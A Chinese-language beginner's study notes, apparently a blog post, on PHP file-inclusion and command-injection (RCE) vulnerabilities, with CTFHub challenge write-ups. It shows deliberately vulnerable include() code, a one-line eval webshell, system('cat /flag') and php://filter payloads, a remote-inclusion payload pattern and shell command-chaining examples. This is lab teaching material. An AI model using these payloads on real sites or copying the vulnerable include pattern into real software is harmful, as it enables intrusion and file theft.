RCE笔记

RCE漏洞学习笔记

前言:本文只是写给自己看,web入门新人,大佬见笑勿喷,欢迎对笔者理解浅薄或错误之处及时指正

快速复习索引

  • RCE漏洞学习笔记
    • 文件包含
      • 什么是文件包含
        • 一颗栗子(以读写blog为例)
      • 文件包含函数(php语言为例)
      • 文件包含漏洞产生原因
        • 继续食用栗子
      • 文件包含漏洞的分类及相关设定
      • php中文件包含漏洞特点
      • RCE基础知识
      • URL基础知识
      • CTFHub RCE文件包含部分刷题
        • ---文件包含---
        • ---远程包含---
        • ---php://input---
          • php://input是什么
          • WP
        • ---读源代码---
      • eval执行
      • 命令注入


文件包含


什么是文件包含

在实际web开发时,由于同一代码段可能会在不同功能地方反复出现,从而使得代码出现冗余,为精简代码,文件包含函数应运而生。

一颗栗子(以读写blog为例)

用户登录 <——链接——> 数据库
浏览博客 <——链接——> 数据库
发布博客 <——链接——> 数据库
删改博客 <——链接——> 数据库

在上述过程中可见链接数据库操作产生冗余,所以需要利用文件包含对其进行简化

用户登录——调用文件
浏览博客——调用文件
发布博客——调用文件
删改博客——调用文件
文件:链接数据库

该文件的调用过程称之为文件包含
由此可见,文件包含本身不是漏洞,应当注意分清

文件包含函数(php语言为例)

PS:应当注意的是几乎多数脚本语言均提供文件包含函数,只不过php文件包含运用更为广泛,所以这里以php为例,但并不是只有php有文件包含漏洞,应当注意

php提供一下四种文件包含函数,其参数为文件路径

include(); 	 	 // 当文件路径包含错误时(文件不存在等),产生警告,但继续执行下面的语句
include_once();  //与include()相同,但文件仅包含一次
require()//  当文件包含路径错误时,产生错误,终止脚本执行,下方的语句不在执行
require_once();  //与require()相同,但文件仅包含一次

文件包含漏洞产生原因

1.存在动态包含
2.被包含路径用户端可控

继续食用栗子

代码示例如下


$path = $_GET['path'];
require $path;
?>

用户可以通过对提交的path参数控制被包含文件,从而产生文件包含漏洞

文件包含漏洞的分类及相关设定

本词条仅为个人理解,可能具有一定误导性,建议多查多看,同时应知晓该分类仅为习惯性分类,php官网中并无此种分法

  • 本地文件包含漏洞(LFI):可通过绝对地址访问

Eg. payload:?path = . . /[文件名] /index.php

与之相关的配置是在php.ini中配置 allow_url_fopen = on
不过有实践指出,即使配置 allow_url_fopen = off 时,仍存在本地上传漏洞,笔者未搭建相关环境,希望有求知欲的读者尝试完告诉笔者,此处存疑,仅为记录

  • 远程文件包含漏洞(RFI):可通过协议访问,如http,ftp,php伪协议等

Eg.payload: ?path = http:// [ip名] / [文件名] /index.php

与之相关的配置是在php.ini中配置 allow_url_include = on
值得注意的是,当配置为 allow_url_fopen = off 时,不存在远程文件包含,与上有所区别

php中文件包含漏洞特点

  • 强读取:无视文件扩展名,均以php格式解析文件
  • 强解析 :无条件解析php代码,遇到便执行

上述特点使得图片马能十分有效的对此类漏洞进行利用

RCE基础知识

	------基本管道符------

; :ping 127.0.0.1; whoami  	//先执行前面语句,再执行后面语句 ps:linux系统独有,windows无此符号
| :ping 127.0.0.1 | whoami 	//不论前面语句是否执行成功,均执行后面语句,且把前面语句的输出当作后面语句的输入
|| : ping 127.0.0.1||whoami	//前面语句执行出错,则执行后面的语句,否则不执行后面语句
& : ping 127.0.0.1&whoami 		//不论前面语句是否执行成功,都执行后面语句 ps:linux系统中为后台符,执行结果与;一致
&& :ping 127.0.0.1&&whoami 	//前面语句执行出错,则不执行后面的语句,否则执行后面语句

	------基本命令------
/				 //根目录

.         		 //当前目录

.. or ../  		 // 上一级目录
    ------cd进入命令------
cd / 			//进入到系统根目录

cd . 			//进入到当前目录

cd ..  			//返回上层目录

cd /tmp 		//进入指定目录/tmp
    ------ls显示命令与pwd------
pwd				//显示当前所在目录的路径

ls				//显示当前目录的内容

ls /flag		//显示指定目录/flag 的内容
	------cat查看命令------
cat /www/flag   //查看/www/falg文件

URL基础知识

该部分为引用,原文章在这里.

URL:统一资源定位符 (Uniform Resource Locator, URL)。

完整的URL由这几个部分构成:

schema://host :port /path ?query #hash

  • scheme:通信协议,常用的有http、https、ftp、mailto等

  • host:主机域名或IP地址

  • port:端口号,可选。省略时使用协议的默认端口,如http默认端口为80

  • path:路径由零或多个"/"符号隔开的字符串组成,一般用来表示主机上的一个目录或文件地址

  • query:查询,可选。用于传递参数,可有多个参数,用"&“符号隔开,每个参数的名和值用”="符号隔开

  • hash:信息片断字符串,也称为锚点。用于指定网络资源中的片断

CTFHub RCE文件包含部分刷题

—文件包含—

php代码如下


error_reporting(0);
if (isset($_GET['file'])) { //判断是否传入参数
    if (!strpos($_GET["file"], "flag")) {  //判断传入参数是否含有flag字段
        include $_GET["file"];  //不含有则进行文件包含
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>

点开页面中的shell文件,发现如下代码

 eval($_REQUEST['ctfhub']);?>

发现该一句马要求我们进行传参执行命令,于是构造payload

?file=shell.txt&ctfhub=system(“ls /”);

得到回显

bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

有明显的flag字段,利用cat读取,构造payload

?file=shell.txt&ctfhub=system(“cat /flag”);

得到flag

ctfhub{e3d1e5896630b175dbb0c82e}

—远程包含—

读源码


error_reporting(0);
if (isset($_GET['file'])) {
    if (!strpos($_GET["file"], "flag")) {  //GET提交的变量中含有flag字段则返回hacker,不进行包含
        include $_GET["file"];
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>

发现源码对GET中flag字段进行过滤,同时检查phpinfo文件,发现 allow_url_include = on
表明可以进行远程文件包含,此处思路有两条

  • 利用http协议远程包含本地一句马文件
  • 利用 php://input 伪协议,通过POST传参,绕开GET过滤

笔者选用第二种,思路同 php://input 部分

—php://input—

php://input是什么

有关php伪协议的点这里
简而言之
php://input的使用条件是 allow_url_include = on
该伪协议的作用是通过post提交数据,如果提交的是php语句时,可被执行(原理不清,日后查)

WP

进入题目,阅读源码


if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {  //限制只能以变量只能以php://开头,即只能用伪协议
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>

点开phpinfo文件
表明php://input可以使用,利用burp拦包
RCE笔记_第1张图片
思路下同,不赘述

—读源代码—

阅读源码


error_reporting(E_ALL);
if (isset($_GET['file'])) {
    if ( substr($_GET["file"], 0, 6) === "php://" ) {
        include($_GET["file"]);
    } else {
        echo "Hacker!!!";
    }
} else {
    highlight_file(__FILE__);
}
?>

发现没有phpinfo文件,结合题目名字,利用php://filter,构造payload:

?file=php://filter/read=convert.base64-encode/resource=/flag

上述payload中 /read/ 字段内容表明以base64编码的形式读取 /flag 文件内容,再decode就可以得到flag


eval执行



命令注入


你可能感兴趣的:(漏洞学习,网络安全,安全漏洞)